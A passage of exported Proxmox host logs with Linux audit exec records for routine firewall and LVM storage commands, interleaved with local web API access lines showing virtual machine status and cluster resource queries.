/api2/json/cluster/tasks HTTP/1.1\" 200 1104"} {"@timestamp":1781964519675,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964519.675:61365): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=58911 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966044949,"@rawstring":"node=pve type=EXECVE msg=audit(1781966044.949:68188): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781965195949,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965195.949:64585): arch=c000003e syscall=59 success=no exit=-2 a0=7ffd624c3be0 a1=5c742259b310 a2=5c7422594680 a3=5 items=1 ppid=62048 pid=62049 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965785624,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965785.624:67089): arch=c000003e syscall=59 success=yes exit=0 a0=5d8e5e237ac8 a1=7ffcde7596c0 a2=5d8e96ee9680 a3=5d8e5e21b24e items=2 ppid=64431 pid=64433 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781966046008,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966046.008:68206): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65502 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964425979,"@rawstring":"node=pve type=EXECVE msg=audit(1781964425.979:60982): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965252086,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:20:51 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 931"} {"@timestamp":1781964515178,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964515.178:61361): arch=c000003e syscall=59 success=no exit=-2 a0=7ffee1b227b0 a1=587d2c47e310 a2=587d2c477680 a3=5 items=1 ppid=58904 pid=58905 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966044927,"@rawstring":"node=pve type=EXECVE msg=audit(1781966044.927:68187): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781965195815,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965195.815:64567): arch=c000003e syscall=59 success=no exit=-2 a0=7fff67bd5c60 a1=58dc331f1310 a2=58dc331ea680 a3=5 items=1 ppid=62029 pid=62030 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965785623,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965785.623:67088): arch=c000003e syscall=59 success=yes exit=0 a0=7ffcde759680 a1=5d8e96ef0310 a2=5d8e96ee9680 a3=5 items=2 ppid=64431 pid=64432 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781966046000,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966046.000:68205): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65501 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964425979,"@rawstring":"node=pve type=EXECVE msg=audit(1781964425.979:60981): argc=1 a0=\"date\""} {"@timestamp":1781965252086,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:20:51 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 495"} {"@timestamp":1781964515100,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964515.100:61343): arch=c000003e syscall=59 success=no exit=-2 a0=7ffd5da96050 a1=570fe168d310 a2=570fe1686680 a3=5 items=1 ppid=58885 pid=58886 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966040179,"@rawstring":"node=pve type=EXECVE msg=audit(1781966040.179:68186): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965192125,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965192.125:64557): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=62019 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965785618,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965785.618:67086): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=64431 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966045994,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966045.994:68204): arch=c000003e syscall=59 success=yes exit=0 a0=5d6bbaceded0 a1=5d6bbaceac50 a2=5d6bbaccc680 a3=5 items=2 ppid=65494 pid=65500 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781964425974,"@rawstring":"node=pve type=EXECVE msg=audit(1781964425.974:60979): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781965252086,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:20:51 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781964514663,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964514.663:61333): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=58875 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966040170,"@rawstring":"node=pve type=EXECVE msg=audit(1781966040.170:68183): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965192125,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965192.125:64556): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=62019 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965785610,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965785.610:67085): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64430 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966045987,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966045.987:68203): arch=c000003e syscall=59 success=yes exit=0 a0=5d6ba1851ac8 a1=7fff124c6270 a2=5d6bbaccc680 a3=5d6ba183524e items=2 ppid=65494 pid=65496 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781964425968,"@rawstring":"node=pve type=EXECVE msg=audit(1781964425.968:60978): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965252086,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:20:50 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 499"} {"@timestamp":1781964514663,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964514.663:61332): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=58875 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966035924,"@rawstring":"node=pve type=EXECVE msg=audit(1781966035.924:68180): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781965192116,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965192.116:64554): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=62018 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965785601,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965785.601:67084): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64429 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966045986,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966045.986:68202): arch=c000003e syscall=59 success=yes exit=0 a0=7fff124c6230 a1=5d6bbacd3310 a2=5d6bbaccc680 a3=5 items=2 ppid=65494 pid=65495 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781964425961,"@rawstring":"node=pve type=EXECVE msg=audit(1781964425.961:60977): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965250272,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:20:49 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 920"} {"@timestamp":1781964514655,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964514.655:61330): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=58874 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966035917,"@rawstring":"node=pve type=EXECVE msg=audit(1781966035.917:68179): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965192116,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965192.116:64553): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=62018 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965785593,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965785.593:67083): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8ae2e40 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64428 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781966045981,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966045.981:68200): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=65494 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964425954,"@rawstring":"node=pve type=EXECVE msg=audit(1781964425.954:60976): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965250272,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:20:49 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1109"} {"@timestamp":1781964514655,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964514.655:61329): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=58874 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966035915,"@rawstring":"node=pve type=EXECVE msg=audit(1781966035.915:68178): argc=1 a0=\"date\""} {"@timestamp":1781965187105,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965187.105:64551): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=62017 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965785582,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965785.582:67082): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc130610 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64427 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781966045972,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966045.972:68199): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65493 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964425946,"@rawstring":"node=pve type=EXECVE msg=audit(1781964425.946:60975): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965250272,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:20:49 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1104"} {"@timestamp":1781964509641,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964509.641:61327): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=58873 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966035911,"@rawstring":"node=pve type=EXECVE msg=audit(1781966035.911:68176): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781965187105,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965187.105:64550): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=62017 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965785565,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965785.565:67081): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc146fd0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64426 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781966045964,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966045.964:68198): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65492 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964425941,"@rawstring":"node=pve type=EXECVE msg=audit(1781964425.941:60973): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781965248636,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:20:47 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 497"} {"@timestamp":1781964509641,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964509.641:61326): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=58873 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966035904,"@rawstring":"node=pve type=EXECVE msg=audit(1781966035.904:68175): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965187098,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965187.098:64548): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=62016 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965784289,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965784.289:67080): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789954af0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=64425 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966045957,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966045.957:68197): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc101300 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65491 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781964425937,"@rawstring":"node=pve type=EXECVE msg=audit(1781964425.937:60972): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781965248636,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:20:47 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 913"} {"@timestamp":1781964509631,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964509.631:61324): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=58872 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966035896,"@rawstring":"node=pve type=EXECVE msg=audit(1781966035.896:68174): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965187098,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965187.098:64547): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=62016 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965784275,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965784.275:67077): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=64424 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966045946,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966045.946:68196): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0f1120 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65490 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781964425932,"@rawstring":"node=pve type=EXECVE msg=audit(1781964425.932:60971): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781965248636,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:20:47 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 500"} {"@timestamp":1781964509631,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964509.631:61323): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=58872 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966035886,"@rawstring":"node=pve type=EXECVE msg=audit(1781966035.886:68173): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965185730,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965185.730:64543): arch=c000003e syscall=59 success=no exit=-2 a0=7ffd7d95f360 a1=5a063a485310 a2=5a063a47e680 a3=5 items=1 ppid=62009 pid=62010 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965784136,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965784.136:67074): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73b5f20 a1=64f8d740f3a0 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=64421 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781966045936,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966045.936:68195): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc12d5c0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65489 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781964425926,"@rawstring":"node=pve type=EXECVE msg=audit(1781964425.926:60970): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781965248636,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:20:47 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781964506051,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964506.051:61319): arch=c000003e syscall=59 success=no exit=-2 a0=7ffe36748b40 a1=622875046310 a2=62287503f680 a3=5 items=1 ppid=58865 pid=58866 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966035878,"@rawstring":"node=pve type=EXECVE msg=audit(1781966035.878:68172): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965185640,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965185.640:64525): arch=c000003e syscall=59 success=no exit=-2 a0=7ffd7aeeb7c0 a1=61d38597e310 a2=61d385977680 a3=5 items=1 ppid=61990 pid=61991 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965784108,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965784.108:67073): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d7412300 a1=64f8d73b5c60 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=64420 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} 